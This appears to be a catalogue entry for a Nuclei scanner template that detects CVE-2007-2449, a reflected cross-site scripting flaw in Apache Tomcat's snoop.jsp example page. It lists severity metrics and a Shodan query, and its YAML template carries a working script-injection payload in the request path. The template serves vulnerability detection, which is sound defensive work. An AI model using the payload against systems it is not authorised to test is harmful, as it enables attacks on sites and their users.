CVE-2007-2449: Apache Tomcat 4.x-7.x - Cross-Site Scripting
- Template: CVE-2007-2449
- Name: Apache Tomcat 4.x-7.x - Cross-Site Scripting
- Description: Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
- Impact: Attackers can execute arbitrary scripts in victim browsers, leading to session hijacking, defacement, or redirection.
- Remediation: Apply the latest security patches and updates from the vendor to address this vulnerability.
- Severity: medium
- Authors: pdteam, ritikchaddha
- Tags: cve, cve2007, apache, misconfig, tomcat, xss, vuln
- References: https://vulners.com/securityvulns/SECURITYVULNS:DOC:17267, https://nvd.nist.gov/vuln/detail/CVE-2007-2449
- Cves: CVE-2007-2449
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2007/CVE-2007-2449.yaml
- Digest: 4a0a00473045022100f3f29dbe4bc7128091bda4b4aa0589082905576debb53e24d305615e22ce02a2022010a3c704aa41107463e9fe1732a293484f15e09e1863dea8fd12fa843efbbcd4
- Created at: 2024-09-09T18:32:24Z
- Updated at: 2026-11-19T02:03:50Z
- Age in days: 806
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2007/CVE-2007-2449.yaml
- Checked, none or zero: products
Classification
- Cwe: CWE-79
- Cvss score: 7.2
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
- Epss score: 0.77376
- Epss percentile: 0.99565
- Not known: cpe
Metadata
- Max-request: 1
- Shodan-query: title:"Apache Tomcat"
- Verified: yes
Labels
- Name: Apache Tomcat - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in victim browsers, leading to session hijacking, defacement, or redirection.
- Remediation: Update to the latest version of Apache Tomcat or apply security patches that fix input sanitization issues.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim needs to visit a malicious page or click a crafted link
- Labels source: projectdiscovery
- From cve: CVE-2007-2449
```yaml
id: CVE-2007-2449
info:
name: Apache Tomcat 4.x-7.x - Cross-Site Scripting
author: pdteam,ritikchaddha
severity: medium
description: |
Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
remediation: |
Apply the latest security patches and updates from the vendor to address this vulnerability.
impact: |
Attackers can execute arbitrary scripts in victim browsers, leading to session hijacking, defacement, or redirection.
reference:
- https://vulners.com/securityvulns/SECURITYVULNS:DOC:17267
- https://nvd.nist.gov/vuln/detail/CVE-2007-2449
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
epss-score: 0.77376
epss-percentile: 0.99565
metadata:
max-request: 1
verified: true
shodan-query: title:"Apache Tomcat"
tags: cve,cve2007,apache,misconfig,tomcat,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/examples/jsp/snp/snoop.jsp;<script>alert(document.domain)</script>test.jsp"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Request URI: /examples/jsp/snp/snoop.jsp;<script>alert(document.domain)</script>test.jsp'
- 'JSP Request Method'
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
digest: 4a0a00473045022100f3f29dbe4bc7128091bda4b4aa0589082905576debb53e24d305615e22ce02a2022010a3c704aa41107463e9fe1732a293484f15e09e1863dea8fd12fa843efbbcd4:922c64590222798bb761d5b6d8e72950
```